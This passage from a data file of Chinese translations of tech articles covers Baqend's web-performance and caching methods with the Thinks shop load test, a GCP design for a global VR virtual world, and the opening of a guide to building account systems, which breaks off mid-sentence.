后端性能\n\n对于后端性能，我们需要同时考虑延迟和吞吐量。为了实现低延迟，我们需要将服务器的处理时间最小化。为了保持高吞吐量和应对负载尖峰，我们需要采用一种**水平可扩展**的架构。我们不会谈到太多细节，因为设计决策对性能的影响空间是巨大的，这些是需要去寻找的最重要的组件和属性：\n\n\n\n\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/1200/1*lF1D54UVWbHPosMZBoCJSg.tiff)\n\n\n\n可扩展的后端技术栈组件：负载均衡器，无状态应用服务器，分布式数据库\n\n\n\n\n\n\n\n首先，你需要**负载均衡**（例如 Amazon ELB 或 DNS 负载均衡）将传入的请求分配给你的一个应用服务器。它还应该实现**自动调节**功能，在需要时生成其他应用服务器，以及**故障转移**功能，以替换损坏的服务器并将请求重新路由到正常服务器。\n\n**应用服务器**应**将共享状态最小化**，从而保持协调最少，并使用**无状态会话处理**来启用自由的负载均衡。此外，服务器应该有**高效**的代码和 IO，使得服务器处理时间最小。\n\n**数据库**需要承受负载尖峰，并尽可能减少处理时间。同时，它们需要具有足够的表达性，以根据需要建模和查询数据。有大量的可扩展数据库（尤其是 NoSQL），每个都有自己的 trade-off。详细信息请参考我们关于该主题的调查和决策指南：\n\n[**NoSQL 数据库：一份调查和决策指南**  \n与我们在汉堡大学的同事一起，我们是：Felix Gessert, Wolfram Wingerath, Steffen…medium.baqend.com](https://medium.baqend.com/nosql-databases-a-survey-and-decision-guidance-ea7823a822d \"https://medium.baqend.com/nosql-databases-a-survey-and-decision-guidance-ea7823a822d\")\n\n_Thinks_ 网上商城搭建在 [Baqend](http://www.baqend.com/) 上，使用了如下的后端技术栈：\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/800/1*C7yp3ODTiIyCv6ZxtZVQCg.tiff)\n\n\n\nBaqend的后端技术栈：MongoDB 作为主数据库，无状态应用服务器，HTTP 缓存层次结构，REST 和 web 前端的 JS SDK\n\n\n\n用于 _Thinks_ 的主数据库是 **MongoDB**。为了维护我们将要到期的布隆过滤器（用于浏览器缓存），我们使用 **Redis** ，因为它的高写入吞吐量。无状态应用程服务器（[**Orestes Servers**](http://orestes.info/assets/files/Paper.pdf)）为后端功能提供接口（文件托管，数据存储，实时查询，推送通知，访问控制等），并处理动态数据的缓存一致性。它们从 **CDN** 拿到请求，CDN 也充当负载均衡器。网站前端使用基于 **REST API** 的 **JS SDK** 来访问后端，后端自动利用完整的 **HTTP 缓存层次结构**来让请求加速并保持缓存数据时刻最新。\n\n#### 负载测试\n\n为了在高负载下测试 _Thinks_ 网上商城，我们在法兰克福的 t2.medium AWS 实例上使用 2 个应用服务器来进行负载测试。MongoDB 在两个 t2.large 实例上运行。使用 [JMeter](http://jmeter.apache.org/) 构建负载测试并在 [IBM soft layer](http://www.softlayer.com/) 上的 20 个机器上运行，以模拟在 **15分钟内**，**200,000 个用户**同时访问和浏览网站。20％ 的用户（40,000）被配置为执行额外的付款流程。\n\n\n\n\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/1200/1*PTn0h56pvC5HYEAaEPnI1A.png)\n\n\n\n网上商城的负载测试设置\n\n\n\n\n\n\n\n我们在支付实现中发现了一些瓶颈，例如，我们必须从库存的积极更新（使用 [findAndModify](https://docs.mongodb.com/manual/reference/method/db.collection.findAndModify/)实现）切换到 MongoDB 的部分更新操作（[_inc_](https://docs.mongodb.com/manual/reference/operator/update/inc/)）。**但是在这之后，服务器处理的负载只是精细地达到了平均请求延迟 5 ms**。\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/800/1*SrfTDYzeTKh5-T26I2Nakw.tiff)\n\n\n\nJMeter 在负载测试期间输出：在 12 分钟内有 680 万个请求，平均延迟 5 ms\n\n\n\n所有的负载测试组合生成了大约 **1000 万个请求**，传输了 **460 GB的数据**，伴随着 **99.8％** 的 CDN **缓存命中率**。\n\n\n\n\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/1200/1*buvg1l0A2FrzqR8dbgQ5cQ.png)\n\n\n\n负载测试后的仪表板概述\n\n\n\n\n\n\n\n### 总结\n\n总之，良好的用户体验取决于三个支柱：前端，网络和后端的性能。\n\n\n\n\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/1200/1*KaPvIFl16OLU76KxJMR1WQ.tiff)\n\n\n\n\n\n\n\n\n\n**前端性能**是我们认为最容易实现的，因为已经有很多工具和一些容易遵循的最佳实践。但仍然有很多网站不遵循这些最佳实践，完全没有优化过它们的前端。\n\n**网络性能**对于页面加载时间来说，是最重要的因素，也是最难优化的。缓存和 CDN 是最有效的优化方法，但即使对于静态内容也要付出相当大的努力。\n\n**后端性能**取决于单服务器性能和跨机器去分发工作的能力。水平可扩展性特别难以实现，必须从一开始就考虑。许多项目将可扩展性和性能作为事后处理，然而在它们的业务增长时会陷入大麻烦。\n\n\n### 文献和工具建议\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/800/1*Fu5eAxBQORO1em86kuJBgA.tiff)\n\n\n\n\n\n有很多关于 web 性能和可扩展系统设计的书：由 Ilya Grigorik 所写的 [高性能浏览器网络](https://hpbn.co/) 包含了几乎所有你需要了解的网络和浏览器性能知识，并且目前不断更新的版本可以免费在线阅读哦！Martin Kleppmann 写的 [设计数据密集型应用](http://dataintensive.net/) 仍处于前期发布状态，但已经是其领域最好的书之一，它涵盖了可扩展后端系统背后的大部分基础知识，并拥有相当多的细节。[设计性能](http://designingforperformance.com/) 由Lara Callender Hogan 写成，围绕着构建快速的、具有良好的用户体验的网站，涵盖了很多最佳实践。\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/800/1*rNqMUe5C9Z2KvCjqQJRNrA.tiff)\n\n\n\n\n\n还有一些很棒的在线指南、教程和工具可以考虑：从初学者友好的 Udacity 课程 [网站性能优化](https://www.udacity.com/course/website-performance-optimization--ud884)、Google 的 [开发者性能指南](https://developers.google.com/web/fundamentals/performance/?hl=en) 到类似于 [Google PageSpeed Insights](https://developers.google.com/web/fundamentals/performance/?hl=en)、[GTmetrix](https://gtmetrix.com/) 和 [WebPageTest](https://www.webpagetest.org/) 这样的优化工具。\n\n### 最新的 Web 性能开发\n\n**移动页面加速**\n\nGoogle 正在通过诸如 [PageSpeed Insights](https://developers.google.com/speed/pagespe%E2%80%A6)、[开发人员指南](https://developers.google.com/web/fundamentals/performance/) 等网站性能项目来提高大家对于网站性能的意识，并将网页速度作为其 [网页排名](https://webmasters.googleblog.com/2010/04/using-site-speed-in-web-search-ranking.html) 的主要因素。\n\n在 Google 搜索中用来提高网页速度、增强用户体验的最新概念是 [移动网页加速（**AMP**）](https://www.ampproject.org/)。其目的是让新闻文章、产品页面和其它搜索内容立即从 Google 搜索加载。为此，这些页面必须构建为 AMP。\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/800/1*dFufupcLXGvhJdeqhntcsA.png)\n\n\n\n一个 AMP 页面的示例\n\n\n\nAMP 主要做两件事：\n\n1.  构建为 AMP 的网站使用精简版本的 HTML，并使用 JS 加载器来快速渲染，并异步加载尽可能多的资源。\n\n2.  Google 将网站缓存在 Google CDN 中，并通过 HTTP/2 分发。\n\n第一件事从本质上意味着 AMP 以一种方式限制了你的 HTML、JS 和 CSS，这种方式构建的网页有一个优化的关键呈现路径，可以很容易地被 Google 爬取。 AMP 强制 [几个限制](https://www.ampproject.org/docs/reference/spec)，例如所有 CSS 必须内联，所有 JS 必须是异步的，页面上的所有内容必须具有静态大小（以防止重绘）。 虽然你可以通过坚持之前的 web 性能最佳实践，在没有这些限制的情况下，实现相同的结果，但 AMP 可能是很好的 trade-off ，能够为非常简单的网站提供帮助。\n\n第二件事意味着，Google 抓取你的网站，然后将其缓存在 Google CDN 中，以便快速分发。网站内容会在爬虫重新索引你的网站后更新。CDN 还遵循服务器设置的静态 TTL，但至少执行 [微缓存](https://developers.google.com/amp/cache/overview#google-amp-cache-updates)：资源至少在一分钟内被视为最新的，并在用户请求进入时在后台更新。因此 AMP 最适用于内容大多是静态的用户案例。这种适用于人为编辑修改的新闻网站或者其他出版物的情况。\n\n#### 渐进式 web 应用（Progressive Web Apps）\n\nGoogle 的另一种做法是 [渐进式 web 应用](https://developers.google.com/web/fundamentals/getting-started/codelabs/your-first-pwapp/)（**PWA**）。其想法是在浏览器中使用 [服务工作者（service worker）](https://developers.google.com/web/fundamentals/getting-started/primers/service-workers) 来缓存网站的静态部分。因此，这些部分对于重复视图会立即加载，并可离线使用。动态部分仍从服务器端加载。\n\n_app shell_（单页应用程序逻辑）可以在后台重新验证。如果标识了对应用 shell 的更新，则会提示用户，要求他更新页面。例如，[Gmail 收件箱](https://www.google.de/inbox/) 就实现了这个。\n\n但是，写出缓存静态资源并进行重新验证的服务工作者（service worker）代码，对于每个网站来说，都需要付出相当大的努力。此外，只有 Chrome 和 Firefox 充分地支持了服务工作者（service worker）。\n\n### 缓存动态内容\n\n所有缓存方法遇到的问题是它们不能处理动态内容。这只是由于 HTTP 缓存的工作机制导致的。有两种类型的缓存：**基于失效的**缓存（如转发代理缓存和 CDN）和**基于到期的**缓存（如 ISP 缓存、机构代理和**浏览器缓存**）。基于失效的缓存可以从服务器端主动失效，基于到期的高速缓存只能从客户端重新验证。\n\n使用基于到期的缓存时，棘手的事情是，你必须在首次从服务器拿到数据时指定缓存生命周期（TTL）。之后，你没有任何机会将缓存数据删除。它将由浏览器缓存提供到 TTL 到期的时刻。对于静态资源，这不是一件复杂的事情，因为它们通常只会在你部署 web 应用程序的新版本时发生变化。因此，你可以使用 [gulp-rev-all](https://github.com/smysnk/gulp-rev-all) 和 [grunt-filerev](https://github.com/yeoman/grunt-filerev) 等很酷的工具）对 assets 进行散列。\n\n但是，但是你该如何处理运行时的应用数据加载和修改呢？更改用户个人资料、更新帖子或添加新评论似乎不可能与浏览器缓存结合使用，因为你无法预估此类更新将来何时会发生。因此，缓存只能被禁用或使用非常小的 TTL。\n\n\n\n\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/1200/0*K1ZJfaJ6zgz6eEk_.png)\n\n\n\n由另一个客户端更新时，缓存动态数据如何过时的示例\n\n\n\n\n\n\n\n#### Baqend 的 Cache-Sketch 方法\n\n在 [Baqend](http://www.baqend.com/)，我们已经研究并开发了一种方法，在实际获取之前，检查客户端中 URL 的陈旧度。在每个用户会话开始时，我们获取一个非常小的数据结构，称为布隆过滤器（Bloom Filter），它是所有过时资源集合的高度压缩表示。通过查看布隆过滤器，客户端可以检查资源是否过时（包含在布隆过滤器中）或者是否是全新的。对于潜在的过时资源，我们绕过浏览器缓存并从 CDN 获取内容。在其他的所有情况下，我们直接用浏览器缓存提供内容。使用浏览器缓存可以节省网络流量和带宽，并且是**很快的**。\n\n此外，我们确保 CDN（以及其它基于失效的缓存，如 Varnish）始终包含最新的数据，只要它们过时就立即清除资源。\n\n\n\n\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/1200/0*lpjUnI1olugLyyto.png)\n\n\n\nBaqend 如何确保缓存动态数据的新鲜度示例\n\n\n\n\n\n\n\n[布隆过滤器（Bloom filter）](http://de.slideshare.net/felixgessert/bloom-filters-for-web-caching-lightning-talk) 是具有可调误报率的概率数据结构，这意味着集合可以用来表示对从未添加的对象的遏制，但永远不会删除实际条目。换句话说，我们可能偶尔会重新验证新资源，但是**我们永远不会提供过期数据**。注意，误报率非常低，这使得我们能够让集合非常小。例如，我们只需要 11 Kbyte 来存储 20,000 个不同的更新。\n\nBaqend 在服务器端有很多流处理（查询匹配检测）、机器学习（最佳 TTL 估计）和分布式协调（可扩展的布隆过滤器维护）的工作。如果你对这些细节感兴趣，看看这篇 [文章](http://www.baqend.com/paper/btw-cache.pdf) 或 [这些幻灯片](http://de.slideshare.net/felixgessert/talk-cache-sketches-using-bloom-filters-and-web-caching-against-slow-load-times) 来深入研究。\n\n#### 性能收益\n\n这一切都归结为这一点。\n\n> 使用 Baqend 的缓存基础设施可以使哪种页面速度得到提高？\n\n为了展示使用 Baqend 的好处，我们在后端即服务（BaaS）领域中的每个领先竞争对手上构建了一个非常简单的新闻应用，并观测了来自世界各地不同位置的页面加载时间。如下所示，Baqend 持续加载低于 1 秒，比平均速度快 6.8 倍。即使当所有客户端来自服务器所在的同一位置时，由于有浏览器缓存，Baqend 也是 150％ 倍速度。\n\n\n\n\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/1200/1*wT5diC6Pcd95wUSVroYviw.tiff)\n\n\n\n简单新闻应用的平均加载时间比较\n\n\n\n\n\n\n\n我们将此比较作为一个 [动手的 web 应用](http://s.codepen.io/baqend/debug/3010e4601789ea4d77673140d8e06245#) 来比较 BaaS 竞争。\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/800/1*X2Gc9KCtG_33mRe5Q9ayJw.tiff)\n\n\n\n[动手比较](http://s.codepen.io/baqend/debug/3010e4601789ea4d77673140d8e06245) 的截图\n\n\n\n但这当然是一个测试场景，而不是一个具有真正用户的 web 应用。 所以让我们回到 _Thinks_ 网上商城来看一个真实世界的例子。\n\n### Thinks 网上商城——所有的事实\n\n当 DHDL（\"Shark Tank\"的德国版）在 9 月 6 日播出时，有 270 万观众，我们坐在电视和我们的 Google 分析屏幕前，为 _Thinks_ 创始人提出他们的产品而激动。\n\n从他们开始演示起，网上商的并发用户数量迅速增加到大约 10,000，但真正的巅峰发生在广告休息时，当时突然有超过45,000 的并发用户来参观该店购买 Towell+：\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/800/1*sCsJOCw-7clmfIbyYRwUrA.gif)\n\n\n\nGoogle 分析观测在商业广告时间之前开始。\n\n\n\n_Thinks_ 在电视播放的 30 分钟里，我们得到了 **340** 万的请求，**300,000** 位游客，高达 **50,000** 位的并发访问游客和高达每秒 20,000 个请求，所有这一切实现了在 CDN 级别的 **98.5％ 的缓存命中率**，和平均为 **3％ 的服务器 CPU 负载**\n\n因此，**页面加载时间**为**低于 1 秒**，整个时间实现了 **7.8％ 的极大的**转化率。\n\n如果我们看看在同一集 DHDL 中展示的其他商城，我们会看到其中四个 **完全崩溃了**，剩下的商城只利用了极少的性能优化。\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/800/1*3VLcWgaWIiFlJdaqy27gCg.png)\n\n\n\n可用性概述和商城的 Google 页面速度得分，在 DHDL 上，于 9 月 6 日展示。\n\n\n\n### 总结\n\n我们已经看到了在设计快速和可扩展的网站时需要克服的瓶颈：我们必须掌握**关键呈现路径**，理解网络限制、**缓存**的重要性和**具有水平可扩展性**的后端设计。\n\n我们已经看到了很多用来解决单个问题的工具，以及移动加速页面（**AMP**）和渐进式 web 应用（**PWA**），这些采取了更全面的做法。但是，**缓存动态数据**的问题仍然存在。\n\n**Baqend** 的做法是减少 web 开发，将构建主要放在前端，通过 JS SDK 使用 Baqend 完全托管的云服务上的后端功能，包括数据和文件存储、（实时）查询、推送通知、用户管理和 OAuth 以及访问控制。该平台通过使用完整的 HTTP 缓存层次结构自动加速所有请求，并确保可用性和可扩展性。\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/600/1*lDR0ZIX0ACdKwYMzEqyAKg.png)\n\n\n\n\n\n#### 我们对于 Baqend 的愿景是一个不需要加载时间的网站，并且我们想要给你到达这个目标的工具。\n\n继续前往免费试用 [www.baqend.com](http://www.baqend.com/).\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n不想错过我们关于网络性能的下一篇文章？通过加入我们的 [newsletter](http://www.baqend.com/#newsletter) 方便地将其传送到你的收件箱。\n"
  },
  {
    "path": "TODO/building-a-virtual-world-worthy-of-sci-fi.md",
    "content": "> * 原文地址：[Building a Virtual World Worthy of Sci-Fi: Designing a global metaverse](https://medium.com/google-developers/building-a-virtual-world-worthy-of-sci-fi-3d48e2fd05e3)\n> * 原文作者：[Reto Meier](https://medium.com/@retomeier?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/building-a-virtual-world-worthy-of-sci-fi.md](https://github.com/xitu/gold-miner/blob/master/TODO/building-a-virtual-world-worthy-of-sci-fi.md)\n> * 译者：[LeeSniper](https://github.com/LeeSniper)\n> * 校对者：[IllllllIIl](https://github.com/IllllllIIl)、[Wangalan30](https://github.com/Wangalan30)\n\n# 建立一个像科幻小说一样的虚拟世界：设计一个全球性的虚拟世界\n\n在 Build Out 系列的第二集里面，[Colt McAnlis](https://medium.com/@duhroach) 和 [Reto Meier](https://medium.com/@retomeier) 接受了设计一个全球虚拟世界的挑战。\n\n看一看下面的视频，看看他们想出了什么，然后继续阅读本文，看看你如何从他们的探索中学习建立你自己的解决方案！\n\n<iframe width=\"700\" height=\"393\" src=\"https://www.youtube.com/embed/H9FbNi5aYYM?list=PLOU2XLYxmsILr0RmtqFITcoXnfOrWtytp\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\n\n### 视频梗概：他们设计了什么\n\n两种解决方案都描述了一种能够生成让用户通过 VR 头盔就可以体验的 3D 环境的设计，使用不同级别的云计算和云存储来给客户端提供虚拟地球的数据，并且实时计算用户与之交互时对世界环境的改变。\n\n**Reto 的方案**专注于使用数百万个无人机获取实时传感器数据，创建一个对现实世界的虚拟克隆。他的虚拟空间本质上是和现实世界联系在一起的，包括几何形状和当前的天气条件。\n\n![](https://cdn-images-1.medium.com/max/1000/1*61k82U4FxUM9lOfd34stlg.png)\n\n**Colt 的方案**充分利用了他的游戏开发经验，设计了一个完全隔离虚拟世界和物理世界的系统。他的架构详细描述了创建一个 MMO (或者其他大型合作空间)后端服务所需要的框架。\n\n![](https://cdn-images-1.medium.com/max/1000/1*Es5nrGnQu3jQYirGuq8aPw.png)\n\n### 创建你自己的全球虚拟世界\n\n这些设计里面最大的区别在于虚拟环境的气候和几何信息的来源。Reto 的设计方案依赖于分析现实世界中的传感器数据，而 Colt 的系统使用艺术家来提供人造景观和建筑物。\n\n如果你想要一个包含真实世界几何图形和纹理的系统，你可以从 Google Map 上面找点灵感。\n\n他们的系统使用图像和传感器数据的组合来生成 3D 模型以及这些模型的纹理信息。这使得他们能够生成非常真实的城市环境三维再现，而不需要雇佣一大群艺术家来重新创建相同的内容。\n\n让我们来生成一个十分相似的具有代表性的东西来反映这个过程。我们可以使用卫星数据，LIDAR（激光雷达）输入，还有来自各个角度和来源的无人机图片，并把他们放到一个 GCS bucket 里面。\n\n另外，我们还要生成工作信息并将 work token 推送到 pub/sub。我们有一批抢占式虚拟机，负责收集这些 pub/sub 请求，并开始制作 3D 网格和纹理图集。最终的结果也被推送到 GCS bucket 里面。\n\n![](https://cdn-images-1.medium.com/max/800/1*2awv-uWabgiVAepGrpUdzA.png)\n\n> **为什么要用抢占式虚拟机（PVM）？** PVM 允许自己被计算引擎管理器终止。因此，与同样配置的标准虚拟机相比，它们提供了非常便宜的折扣价。由于它们的寿命是不稳定的，因此它们非常适用于执行可能会中断而无法完成的批量工作。\n\nPub/sub 在这方面与 PVMs 携手合作。一旦 PVM 收到一个终止信号，它可以停止工作，并将工作负载推回到 pub/sub，以便另一个 PVM 稍后拾取继续工作。\n\n或者，对于这种算法失效的区域，你可以允许用户为图标式地标提交自定义模型和纹理，然后将其插入到生成的 3D 环境中。\n\n![](https://cdn-images-1.medium.com/max/800/1*8ngyDPNUw6GqNRdxWnvJrA.png)\n\n### 存储和分发虚拟世界数据\n\n当我们所有的网格和纹理数据都处理完毕的时候，结果将是数以 TB 的虚拟环境数据。很明显，我们不能一次将所有内容都传输给每个客户，相反，我们会根据地理边界打包模型数据。\n\n这些 『区域性 blob』 被编入索引，包含元数据，并且可以存储在多层压缩存档中，以便它们可以流式传输到客户端。\n\n要计算这一点，需要使用与生成 3D 网格相同的离线构建过程；具体来说，你可以为 pub/sub 生成一堆任务，并使用一群抢占式虚拟机来计算和合并适当的区域 blob。\n\n![](https://cdn-images-1.medium.com/max/800/1*CEkaLsDQMXbQVvygHYrhGw.png)\n\n将区域档案分发给客户取决于用户在虚拟世界中的『实际』位置，以及他们面对的方向。\n\n![](https://cdn-images-1.medium.com/max/800/1*Jz_zqlU5Ca0MGIIGGjUMlg.png)\n\n为了优化客户端的加载时间，给他们经常访问的区域添加本地缓存是非常有意义的，以此来帮助他们避免每次进入一块新的区域都需要下载大量数据的情况。\n\n![](https://cdn-images-1.medium.com/max/800/1*6b2I4tUiPyn3pVSw7aPwfg.png)\n\n为了图表清晰起见，我们可以将整个过程封装起来作为一个离线系统，我们称它为『自动内容生成器（ACG）』。\n\n随着时间的推移，本地缓存将会失效，或者需要将更新推送给用户。为此，我们制定了更新和分期流程，客户可以在登录或是重新进入他们最近访问的区域时接收更新的环境数据。\n\n![](https://cdn-images-1.medium.com/max/800/1*lCgVkyWLf2gSqfZE2Wlhww.png)\n\n> **为什么用 GCF？** 有很多种方法可以让客户端检查更新。例如，我们可以创建一个负载均衡器来自动扩展一组 GCE 实例。或者我们可以制作一个可以根据需求进行扩展的 Kubernetes pod。\n\n> 或者我们可以使用 app engine flex，它允许我们提供我们自己的图像，只是图片大小相同。或者我们可以使用 app engine 标准，它有自己的部署和扩展。\n\n> 我们之所以选择 Cloud Functions 的原因是：首先，GCF 增强了对 Firebase 推送通知的支持。如果发生了什么情况，我们需要通知客户有紧急修复补丁，我们可以直接将这些数据推送给客户。\n\n> 其次，GCF 需要最少的工作来部署功能。我们不需要花费额外的周期来配置图像，平衡或部署细节；我们只需编写我们的代码，并将其推出确保可以使用。\n\n### 为你的虚拟世界提供模拟数据\n\n随着你的用户移动并且和虚拟环境交互，他们所导致的任何改变都需要和其他的周边数据同步，并分享给其他用户。\n\n你需要一些复合组件来确保用户操作不违反任何物理规则，然后是一个用于存储或向其他用户广播这些信息的系统。\n\n为此，你可以利用一组名为 『World Shards』 的 App Engine Flex 组件，它们允许地理上比较接近的客户端连接并交换位置和移动信息数据。因此，当用户进入游戏区域时，我们会计算出他们最近的区域，并将它们直接连接到适当的 World Shards。\n\n> **为什么用 App Engine Flex？**对于 World Shards 而言，我们可以轻松使用一组共享一个图像的实例化的 GCE 虚拟机来实现，但是 app engine flex 为我们提供了相同的功能，且不需要额外的维护开销。同样的，一个 GKE Kubernetes 集群也可以做到这一点，但对于我们的应用场景，我们并不需要 GKE 提供的一些高级功能。\n\n我们还需要一组独立的计算单元来帮助我们管理所有二级世界互动项目。诸如购买商品，玩家间通信等等。为此，你可以启动第二组 App Engine Flex 实例。\n\n所有需要分发到多个其他客户端的持久性数据将存储在云端 Spanner 中，这将使得区域比较靠近的用户在有需要时能够尽快共享信息。\n\n![](https://cdn-images-1.medium.com/max/800/1*KQnoHJeVWVQbJJr8ELQKcQ.png)\n\n> **为什么用 Spanner？**我们之所以选择 spanner 是因为它的托管服务，全球容量以及扩展能力来处理非常高的事务性工作负载。你也可以用 SQL 系统来做到这一点，但是这样的话，你就得为获得相同的效果做很多繁重的工作。\n\n由于我们的代码需要经常改动，我们需要增加我们的更新和临时服务器以将代码分发到我们的 world-shards。为了实现这一点，我们允许在暂存代码中执行计算级分段，并将图像推送到 Google Container Registry，以便根据需要支持各种 world shards 和游戏服务器。\n\n![](https://cdn-images-1.medium.com/max/800/1*V0jjfEVbgTpBA1T91L1W1A.png)\n\n### 绘制你的虚拟世界\n\n除非您戴上 VR 头盔，否则虚拟世界就不是一个有意义的虚拟世界。为此，你可以利用 Google VR 和 Android Daydream 平台在完全身临其境的 VR 体验中呈现我们巨大的虚拟世界。然而，Daydream 本身并不是一个合适的渲染引擎，因此你需要利用像 UNITY 这样的工具来帮我们绘制所有模型，并代表我们与 Daydream 系统进行交互。\n\n![](https://cdn-images-1.medium.com/max/800/1*cMAXUcr7QcZXdnFnOm38WA.png)\n\n描述如何在 VR 模式下每帧正确渲染数百万个多边形是一个很大的挑战，但这已经不在本文的讨论范围之内了;）\n\n### 帐户和身份认证服务\n\n我们将添加一个 app engine 前端实例，利用 Cloud IAM 对用户进行身份验证和识别，并与帐户管理数据库通信，这个数据库可能包含帐单和联系人数据等敏感信息。\n\n![](https://cdn-images-1.medium.com/max/800/1*_XrckPhaLAUKQbfkJAV48g.png)\n\n> **为什么用 App Engine 标准？** 我们选择 app engine 标准作为 IAM 系统的前端服务的原因有很多。\n\n> 首先是它的管理，这样我们就不必像 containers、GKE、App Engine Flex 那样处理配置和部署的细节了。\n\n> 其次，它内置了 IAM 规则和配置，因此我们可以用更少的代码来获得我们所需的安全保证和登录系统。\n\n> 第三，它直接包含了对数据存储的支持，我们用它来存储我们所有的 IAM 数据。\n\n* * *\n\n想要了解我们技术选型的更多详细描述，可以在 [Google Play Music](https://play.google.com/music/listen#/ps/Imvre4gs5o4fv2aqknxopy6cb7q)，iTunes，或者[你最喜爱的播客应用或网站](http://feeds.feedburner.com/BuildOutRewound)上关注我们的系列播客，Build Out Rewound。\n\n如果你对我们的系统设计或者技术选型有任何问题，请在下面留言，或者在我们的 YouTube 视频下面留言。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/building-account-systems.md",
    "content": "\n  > * 原文地址：[Building account systems](https://blog.plan99.net/building-account-systems-f790bf5fdbe0)\n  > * 原文作者：[Mike Hearn](https://blog.plan99.net/@octskyward)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/building-account-systems.md](https://github.com/xitu/gold-miner/blob/master/TODO/building-account-systems.md)\n  > * 译者：[shawnchenxmu](https://github.com/shawnchenxmu)\n  > * 校对者：[undead25](https://github.com/undead25) [DeadLion](https://github.com/DeadLion)\n\n# 搭建账户系统\n\n  ![](https://cdn-images-1.medium.com/max/1600/1*gMIGLbIgwnSC8huyC5ugKQ.jpeg)\n  \n[Troy Hunt](https://www.troyhunt.com/) 近期发表了一篇题为『[新时代的认证指南](https://www.troyhunt.com/passwords-evolved-authentication-guidance-for-the-modern-era/)』的博文。文章对于「你的网站应该使用什么样的密码规则」给予了很多实用的建议，而通过参考权威机构的建议总是有助于说服同事或老板。\n\n我在 Google 工作期间从事过的一个项目就是他们的统一账户系统（[特别是反劫持](https://googleblog.blogspot.ch/2013/02/an-update-on-our-war-against-account.html)）。大多数网站都会有一个登录系统，阅读 Troy 的文章极大地启发了我去建立这样的一个系统，从而将那些建议应用其中。\n\n### 1. 最好不要有\n\n不管是什么业务，进行用户认证并不是你的主职，现代登录系统需要考虑的有很多，密码只是一个开始。如果你成功建立了账户，最终还得考虑：\n\n- 找回密码\n- 电子邮箱的认证\n- 账户登出，常常比你想象的要困难（见下文）\n- 密码的强力保护\n- 基于短信、手机应用和硬件密钥的双因子验证\n- 对账户劫持的保护（当攻击者已经知道了正确密码而用户还没有双因子验证时）\n- 用户的地区、语言、姓名、个人头像等的偏好\n- 对桌面和移动端的登录支持\n- 异常行为的通知\n- 只允许特定手机的登录\n\n随着大公司对用户验证意识的提高和攻击者的攻击能力的提升，一成不变的验证技术已经不符合时代的变化。幸运的是，你现在可以将你的身份验证环节外包给那些支持 OAuth 协议的公司。\n\nWeb 开发者常常会在建立完自己的账户系统之后，才觉得添加[『使用 Facebook 登录』](https://developers.facebook.com/docs/facebook-login)或[『使用 Google 登录』](https://developers.google.com/identity/sign-in/web/sign-in)是个不错的方案。如果你是为了建立一个全新的网站而阅读这篇文章，我建议『使用第三方登录』应该成为你的网站的唯一选项。如今，建立自己的账户系统就像是建立自己的数据中心，而不是使用 AWS。\n\n人们有时候会担心，如果只提供『第三方登录』按钮用来登录，那么那些大型的 ID 提供商可能会试图窃取他们的客户。通常情况下，人们担心的情况是，使用 ID 提供商登录，但是却被要求设置密码。其实不用担心这一点，这种情况不太可能发生，就算真的发生了，你也随时可以通过电子邮件给他们发送一个链接将你的客户群迁移到你自己的系统上。\n\n### 2. 使用邮箱或电话号码来识别用户\n\n不要强制用户设置用户名，即使你的业务体验是基于用户名的，比如聊天论坛之类的。用户通常是通过邮箱或者是电话抑或是两者同时验证的，如果你想让每个用户都拥有一个独一无二的用户名（用来展示的），那应该单独选择，为什么呢？\n\n- 无论如何你都是要用户提供邮箱地址的\n- 如果用户名成为你的系统的个人识别符，你要考虑用户是会随时更改它的\n- 用户经常会忘记用户名，可一般不会忘记邮箱或电话号码\n- 挑选用户名的过程常常是让人沮丧，一旦用户使用了一个用户名，却因为该用户名已经存在而不能通过时，有些人就会放弃了，从而你就流失了一位用户\n- 将用户名和用来展示的名字分开可以大大减少对用户设置的限制，例如禁止空格\n\n### 3. 完全放弃密码\n\n![](https://cdn-images-1.medium.com/max/1600/1*1S1yaiqUAmfLZE2uF5AvDw.jpeg)\n\n如果你还没准备好将账户系统完全依赖于第三方 ID 